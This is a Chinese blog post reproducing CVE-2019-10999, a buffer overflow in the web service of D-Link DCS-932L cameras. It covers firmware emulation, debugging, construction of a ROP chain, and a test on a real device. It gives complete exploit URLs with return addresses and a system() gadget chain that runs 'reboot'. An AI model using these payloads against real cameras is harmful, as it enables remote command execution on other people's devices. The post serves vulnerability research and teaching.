前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2019-10999复现

CVE-2019-10999复现

作者头像
C4rpeDime
发布2022-04-26 10:01:00
5870
发布2022-04-26 10:01:00
举报
文章被收录于专栏:黑白安全黑白安全

前言记录在复现CVE-2019-10999时踩的坑。漏洞信息https://github.com/fuzzywalls/CVE-2019-10999该漏洞存在于Dlink DCS-93xL、DCS-50xxL系列摄像头的所有固件版本中。在设备的alphapd服务中,wireless.htm 在将其显示给用户之前进行处理。如果在URL中提供WEPEncrypt

前言

记录在复现CVE-2019-10999时踩的坑。

漏洞信息

https://github.com/fuzzywalls/CVE-2019-10999 该漏洞存在于Dlink DCS-93xL、DCS-50xxL系列摄像头的所有固件版本中。 在设备的alphapd服务中,wireless.htm 在将其显示给用户之前进行处理。如果在URL中提供WEPEncryption的值,它会把用户传入的值copy到定义的buf中,但没有进行长度判断,存在缓冲区溢出漏洞,攻击者可利用其来执行任意命令。

漏洞复现

拿到固件,解包(本文测试用固件为DCS-932L v1.14.04)。 IDA加载alphapd程序,定位到漏洞函数,可溢出buf和返回地址ra之间相差0x28个字节:

CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析  第1张
CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析 第1张
CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析  第2张
CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析 第2张

为了把alphapd服务跑起来便于调试利用。而在模拟运行alphapd服务时,缺少NVRAM,无法获取其运行时的配置信息。 可以用nvram-faker构建一个库,使用LD_PRELOAD劫持对libnvram库中的函数调用,从而使用nvram-faker提供的ini配置文件。

代码语言:javascript
复制
git clone https://github.com/zcutlip/nvram-faker.git

在原始固件中查找默认配置值:

代码语言:javascript
复制
grep -rin --color "SecondHTTPPortEnable"
CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析  第3张
CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析 第3张

导入到nvram.ini文件:

代码语言:javascript
复制
cat etc_ro/Wireless/RT2860AP/RT2860_default_vlan > nvram.ini
cp nvram.ini ~/nvram-faker

编译库文件:

代码语言:javascript
复制
./buildmipsel.sh

将编译好后的libnvram-faker.so和nvram.ini文件复制到固件根目录后, qemu模拟运行alphad服务,优先加载libnvram-faker.so库:

代码语言:javascript
复制
sudo chroot . ./qemu-mipsel-static -E LD_PRELOAD="./libnvram-faker.so"  /bin/alphapd

会报错没有pid文件:

CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析  第4张
CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析 第4张

在cpio-root/var/文件夹下创建/run/alphapd.pid文件就行。

之后又报错说先启动nvram_daemon,在ida能看到调用了nvramd.pid文件,同理在/var/run下创建nvramd.pid文件就行。

CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析  第5张
CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析 第5张

为了在更真实的环境下运行alphapd,我搭建了一个debian mipsel环境,在其中模拟alphapd服务:

代码语言:javascript
复制
chroot . /bin/alphapd -E LD_PRELOAD=libnvram-faker.so

能成功启动alphapd,但无法创建RSA密钥:

CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析  第6张
CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析 第6张

openssl官网说是缺少urandom,random设备而导致的问题。自己创建这两个设备:

代码语言:javascript
复制
sudo chroot . /bin/mknod -m 0666 /dev/random c 1 8
sudo chroot . /bin/mknod -m 0666 /dev/urandom c 1 9

无法写入'random state':

CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析  第7张
CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析 第7张

没有设置RANDFILE和HOME环境变量。创建一个空的.rnd文件,并设置环境变量:

代码语言:javascript
复制
touch .rnd
export HOME=.
export RANDFILE=$HOME/.rnd

获取不到ip地址:

CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析  第8张
CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析 第8张

在IDA中定位到这一段:

CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析  第9张
CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析 第9张

它是在getSysInfoLong中通过gpio设备接口来获取ip的…然而模拟环境并没有这个接口…

CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析  第10张
CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析 第10张

没办法只好强行改,让它直接跳到下面:

CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析  第11张
CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析 第11张

跳过之后会默认在0.0.0.0地址在运行:

CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析  第12张
CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析 第12张

可成功访问网页:

CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析  第13张
CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析 第13张

ok,来试试传入我们的Payload。传入0x28个A,和0x4个B来尝试覆盖返回地址

代码语言:javascript
复制
http://0.0.0.0/wireless.htm?WEPEncryption=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

然而在1.14以上的高版本中,不能直接输入url进入页面,会返回403。只能从主页面点进去:

CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析  第14张
CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析 第14张
CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析  第15张
CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析 第15张

那么要把WEPEncryption参数值传进去就不能直接输ulr了。 但我们可以通过在web开发者工具中更改Request来传:

CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析  第16张
CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析 第16张
CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析  第17张
CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析 第17张

用gdbserver挂载到4444端口上:

代码语言:javascript
复制
gdbserver --attach 0.0.0.0:4444 1163
CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析  第18张
CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析 第18张

记得在debian虚拟机的启动脚本中添加几个端口转发,方便本机加载调试:

CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析  第19张
CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析 第19张
CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析  第20张
CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析 第20张

IDA加载调试,更改request传入我们的payload,可以看到成功覆盖到了ra:

CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析  第21张
CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析 第21张

既然我们可以控制返回地址以及S0-S5的寄存器值了,那么就可以利用它们跳转到system来执行任意命令。 查看alphapd调用的lib库,可以获取其基址0x77ed3000:

CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析  第22张
CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析 第22张

在libuClibc-0.9.28.so中找到system地址0x0004BD20:

CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析  第23张
CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析 第23张

那么当其加载到内存中时的地址就是:0x0004BD20 + 0x77ed3000 = 0x77f1ed20

接下来就需要找有用的rop gadget来获取栈地址,并跳转到system函数传入任意命令了。 用ida的mipsrop插件来找rop gadget:

CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析  第24张
CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析 第24张

在使用mipsrop时,偶尔会出现out of range的情况:

CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析  第25张
CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析 第25张

定位到其源码的393行,自己打个补丁,加了个不为空的判断:

代码语言:javascript
复制
for xref in idautils.XrefsTo(idc.LocByName('system')):
            ea = xref.frm
-           if ea >= start_ea and ea <= end_ea and idc.GetMnem(ea)[0] in ['j', 'b']:
                a0_ea = self._find_next_instruction_ea(ea+self.INSIZE, stack_arg_zero, ea+self.INSIZE)
代码语言:javascript
复制
for xref in idautils.XrefsTo(idc.LocByName('system')):
            ea = xref.frm
+          if ea >= start_ea and ea <= end_ea and len(idc.GetMnem(ea)) > 0 and idc.GetMnem(ea)[0] in ['j', 'b']:
                a0_ea = self._find_next_instruction_ea(ea+self.INSIZE, stack_arg_zero, ea+self.INSIZE)

使用下面的这个rop gadget:

代码语言:javascript
复制
.text:00050DE4 addiu $s2, $sp, 0x1E8+var_F8
.text:00050DE8 move $a0, $s2
.text:00050DEC move $t9, $s0
.text:00050DF0 jalr $t9 ; sub_505D0

获取栈地址存入s2,偏移为0x1e8 - 0xf8 = 0xf0。将s0存入t9,然后跳转到t9指向的地址。也就是将system地址存入s0的话就能跳转到system函数了。

最终的利用流程为:

  • 返回地址ra覆盖为rop gadget地址(0x00050DE4 + 0x77ed3000 = 0x77f23de4)
  • 跳转到我们构造的rop链中
  • s0覆盖为system地址(0x77f1ed20)
  • 跳转到system函数中,并传入我们构造的字符串命令

构造url:

代码语言:javascript
复制
http://0.0.0.0:18080/wireless.htm?WEPEncryption=AAAAAAAAAAAAAAAA%20%ed%f1%77AAAAAAAAAAAAAAAAAAAA%e4%3d%f2%77AAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBreboot

为了验证结果,我们想看到lib库函数调用的结果就需要用到gdb调试。安装gdb的pwndbg插件(peda对mips的支持不行,装了之后也不会显示栈信息):

代码语言:javascript
复制
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh

安装时会报错:

CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析  第26张
CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析 第26张

原因是unicorn不支持用python3编译…那就自己装吧:

代码语言:javascript
复制
UNICORN_QEMU_FLAGS="--python=/usr/bin/python2.7" pip install unicorn

安装好unicorn后再运行下setup.sh就行了,虽然还会报那个错不用管。

用gdb附加调试,在system函数断下:

CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析  第27张
CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析 第27张
CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析  第28张
CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析 第28张

可以看到成功传入了参数'reboot',执行成功:

CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析  第29张
CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析 第29张

结果说到底还是搭环境坑啊orz……

实机攻击测试

闲鱼淘了个二手的dcs932L来玩,试试我们的payload能不能打进去。 经过测试发现,其最早的固件版本1.0里的开机脚本里居然开了telnetd服务,并且在其web.sh里发现它的web服务程序是goahead:

CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析  第30张
CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析 第30张
CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析  第31张
CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析 第31张

这个goahead程序应该就是alphapd的原始版本了,在同样的位置也能找到这个漏洞:

CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析  第32张
CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析 第32张

telnet连进去看看,可以找到goahead加载的库基址:

CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析  第33张
CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析 第33张

拿到库基址,和之前一样构造ulr,可以成功执行我们传入的命令:

代码语言:javascript
复制
?WEPEncryption=AAAAAAAAAAAAAAAA%20%ad%b3%2aAAAAAAAAAAAAAAAAAAAA%e4%fd%b3%2aBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBreboot

但是在高版本的固件中就不会那么好心给你开telnet了,想要进shell找它的库基址也没这么简单了(虽然我测过之后才发现它们所有固件版本的web服务加载库基址都是一样的= =) 拆开找到四个超小的串口焊点,拿几根比较细的铜丝焊上,连接TTL进行调试:

CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析  第34张
CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析 第34张

打开串口调试工具,选择合适串口和波特率,就可以进入shell找它加载的库基址了:

CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析  第35张
CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析 第35张

构造url,可成功传入命令:

CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析  第36张
CVE 2019 10999复现 漏洞复现 CVE 2019 10999 漏洞分析 第36张

原文由先知社区https://xz.aliyun.com/t/5681

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2019-07-22),如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • 漏洞信息
  • 漏洞复现
  • 实机攻击测试
相关产品与服务
云开发 CLI 工具
云开发 CLI 工具(Cloudbase CLI Devtools,CCLID)是云开发官方指定的 CLI 工具,可以帮助开发者快速构建 Serverless 应用。CLI 工具提供能力包括文件储存的管理、云函数的部署、模板项目的创建、HTTP Service、静态网站托管等,您可以专注于编码,无需在平台中切换各类配置。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档